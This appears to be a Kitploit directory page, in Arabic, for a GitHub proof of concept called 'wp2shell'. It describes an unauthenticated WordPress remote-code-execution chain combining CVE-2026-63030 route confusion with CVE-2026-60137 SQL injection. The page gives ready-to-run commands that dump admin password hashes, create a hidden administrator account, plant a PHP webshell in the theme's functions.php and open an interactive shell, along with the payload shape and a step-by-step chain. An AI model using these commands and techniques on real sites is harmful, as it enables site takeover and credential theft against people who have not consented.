Skip to content
KitploitKITPLOIT
أدواتالمدونة
إرسال
أدواتالمدونة
إرسال

أدوات الاختراق واختبار الاختراق والأمن السيبراني لترسانتك الأمنية!

Kitploit هو دليل لأدوات الاختراق والأمن السيبراني واختبار الاختراق. اكتشف آخر تحديثات المشاريع للعثور على الثغرات وتحليل الأنظمة وأتمتة الاختبارات وتعزيز أمنك.

··الخلاصات·اتصال·الخصوصية·© 2026 Kitploit

دليل الأدوات

الفئات

عرض جميع الفئات
Loading categories
CVE-2026-63030-POC — CVE-2026-63030 / wp2shell | Kitploit
أدوات/GitHubGitHub/4b3r4m4-607d/cve-2026-63030-poc
المصادقة والترخيصتحليل الثغرات الأمنيةالاستغلالاستغلال تطبيقات الويبأمن الويباختبار الاختراقالتعلم والتعليمالفريق الأحمرتطوير الحمولات
GitHub4b3r4m4-607d/cve-2026-63030-poc

CVE-2026-63030-POC

CVE-2026-63030 / wp2shell

2منذ شهر واحدلم تتم المراجعة بعد

الأكثر شعبية

عرض الكل →

اكتشف الأدوات الأكثر استخدامًا من قبل مجتمعنا.

استكشف جميع الأدوات

تصفح مجموعتنا من الأدوات

عرض جميع الأدوات →
مشاركة
عرض المستودع

wp2shell — CVE-2026-63030 + CVE-2026-60137

سلسلة استغلال WordPress من نوع RCE ليوم واحد. بدون مصادقة. التقييم: CVSS 9.8.

صفر تبعيات — Python 3.8+ والمكتبة القياسية فقط.

الإصدارات المتأثرة

الفرعالإصدارات الضعيفةالإصدار المصحح
6.9.x6.9.0 – 6.9.4≥ 6.9.5
7.0.x7.0.0 – 7.0.1≥ 7.0.2

سلسلة الاستغلال

يتم ربط ثغرتي CVE معًا لتحقيق تنفيذ تعليمات برمجية عن بُعد دون مصادقة:

root@kitploit:~
CVE-2026-63030 (route confusion)  →  batch desync bypasses auth
           +
CVE-2026-60137 (SQL injection)    →  author__not_in sinks raw into SQL
           ↓
   UNION-forge WP_Post rows  →  customizer changeset bridge  →  admin created
           ↓
   Login as admin  →  theme editor  →  webshell  →  RCE

البداية السريعة

root@kitploit:~
# Probe only — non-destructive, confirms vulnerability
python3 exploit.py --url http://target:8080 --check

# Extract admin password hashes from the database
python3 exploit.py --url http://target:8080 --dump-users

# Full chain: SQLi → admin → webshell → command
python3 exploit.py --url http://target:8080 --cmd "id; uname -a"

# Interactive shell (with working directory tracking)
python3 exploit.py --url http://target:8080 --shell

# Read arbitrary data via UNION SQL injection
python3 exploit.py --url http://target:8080 --read "SELECT @@version"

# Skip pre-auth bridge — use known credentials
python3 exploit.py --url http://target:8080 --user admin --password hunter2 --cmd whoami

الخيارات

root@kitploit:~
--url URL          Target WordPress base URL (required)
--check            Probe only — do not exploit
--dump-users       Extract all user credentials via UNION SQLi
--read SQL         Read a scalar SQL expression from the database
--cmd CMD          Run a shell command on the target
--shell            Open an interactive shell
--user USER        Admin username (skip pre-auth admin creation)
--password PASS    Admin password (use with --user)
--proxy URL        HTTP proxy (e.g. http://127.0.0.1:8080)
--timeout SEC      Request timeout (default: 30)
--no-cleanup       Leave webshell and admin user on target

كيف يعمل

التباس المسار (CVE-2026-63030)

نقطة النهاية الدفعية (batch) في WordPress على المسار /?rest_route=/batch/v1 تقبل مصفوفة من الطلبات الفرعية. عندما يحتوي طلب فرعي على مسار غير قابل للتحليل (///)، تتم إضافة WP_Error إلى $validation ولكن ليس إلى $matches. عندها تقوم حلقة التوجيه بإقران الطلب N بالمعالج N+1 — أي أن طلبًا تم التحقق منه وفق مخطط معين يتم توجيهه إلى معالج مختلف.

يرسل الاستغلال دفعة متداخلة من 3 طبقات، حيث تستخدم كل طبقة مُهيئ عدم تطابق (desync primer) في الموضع 0 لتحويل الفهارس. الطلب الأعمق — الذي يُتحقق منه كعنصر منشور واحد (GET /wp/v2/posts/999999) — يقع على معالج المجموعة (posts->get_items()). وبما أن مخطط العنصر لا يعرّف author_exclude، فإن المعامل يمر دون تحقق.

حقن SQL (CVE-2026-60137)

يقوم get_items() بتعيين author_exclude → author__not_in وتمريره إلى WP_Query. عندما يكون author__not_in سلسلة نصية (وليست مصفوفة)، يتم تخطي كتلة array_map('absint', …). السلسلة الخام تصل مباشرة إلى:

root@kitploit:~
WHERE post_author NOT IN (<payload>)

الحمولة 0) UNION ALL SELECT …-- - تُغلق قائمة NOT IN وتضيف استعلام SQL عشوائيًا.

استخراج UNION

جدول wp_posts في WordPress 7.0.x يحتوي على 23 عمودًا بالضبط. بحقن صف مزيف عبر UNION ALL SELECT مع orderby=none (الذي يثبط ORDER BY اللاحق) و per_page=500 (مما يبقي WP_Query في وضع الصف الكامل)، ينعكس عنوان المنشور المزيف — الحامل لعلامة ||HEX|| — في استجابة REST. جميع قيم السلاسل تستخدم المحارف السداسية العشرية في MySQL (0x…) لتجنب مشاكل تهريب علامات الاقتباس عبر ترميز URL.

إنشاء حساب مدير بدون مصادقة

  1. تزوير منشور عبر UNION يحتوي على أكواد قصيرة [embed] → يقوم WordPress بإنشاء 3 صفوف من oembed_cache
  2. قراءة معرفات منشورات الكاش الثلاثة عبر استخراج UNION
  3. تزوير 7 صفوف منظمة في wp_posts عبر UNION لتشكيل سلسلة تغييرات customizer
  4. يتم عرض الكود القصير [embed]، مما يؤدي إلى تشغيل WP_Embed::shortcode() → wp_update_post() → WP_Customize_Manager → wp_insert_user()
  5. يتم إنشاء مدير باسم مستخدم عشوائي (wp2_<random>) وكلمة مرور (Wp2!<random>)

نشر الويب شيل

تسجيل الدخول كمسؤول جديد → استخراج nonce محرر القالب → حقن ويب شيل PHP محمي برمز مميز في أعلى ملف functions.php للقالب النشط → الوصول عبر ?t=<token>&c=<command>.

المتطلبات

  • Python 3.8 أو أحدث
  • صفر من التبعيات الخارجية — يستخدم المكتبة المعيارية فقط (urllib, json, re, hashlib, secrets, html)
  • يجب أن يحتوي الهدف على منشور أو صفحة منشورة واحدة على الأقل (لتغذية كاش oEmbed)

القيود

  • حلقة Docker الاسترجاعية (loopback): يقوم محرر الملفات في WordPress بفحص استرجاعي عبر wp_remote_post() قبل الحفظ. إذا لم تتمكن الحاوية من الوصول إلى نفسها عبر اسم المضيف، فسيتم حظر تعديل القالب. استخدم --dump-users + تسجيل الدخول اليدوي في هذه الحالات.
  • لا توجد منشورات منشورة: تتطلب بذرة كاش oEmbed رابطًا عامًا واحدًا على الأقل. تثبيت WordPress الفارغ بعد الإعداد يحتوي على كل من "Hello world!" و"Sample Page".
  • WAF / mod_security: قد يؤدي التصفية الشديدة للطلبات إلى حظر حمولات الدفعات المتداخلة. اختبر باستخدام --check أولاً.

التحقق

root@kitploit:~
$ python3 exploit.py --url http://target --check
[+] VULNERABLE — route-confusion behavior detected!
[+] UNION SQLi extraction confirmed — in-band read available

$ python3 exploit.py --url http://target --dump-users
[*] 11 user(s) in wp_users:
  ID=1  login=admin
        pass=$wp$2y$10$...
  ...

إخلاء المسؤولية

هذه الأداة مخصصة لأغراض البحث الأمني المصرح به والتعليم فقط. استخدمها فقط ضد الأنظمة التي تمتلكها أو لديك إذن صريح لاختبارها. لا يتحمل المؤلفون أي مسؤولية عن إساءة الاستخدام.

الاعتمادات

  • WPScan — الإفصاح عن الثغرات (CVE-2026-63030, CVE-2026-60137)
  • NVD — قاعدة بيانات CVE
تنزيل الأداة
الخطوةCVEمتجه الهجوم
1CVE-2026-63030اختلال محاذاة الفهرس في REST /batch/v1 يسبب فقدان التزامن بين التحقق والتوجيه
2CVE-2026-60137معامل author__not_in في WP_Query يتجاوز absint() عند تمريره كسلسلة نصية
3—يعمل UNION SELECT على تزوير صفوف wp_posts؛ ثم oEmbed → customizer → wp_insert_user
4—المصادقة كمسؤول تم إنشاؤه حديثًا
5—محرر القالب يحقن ويب شيل محميًا برمز مميز في القالب النشط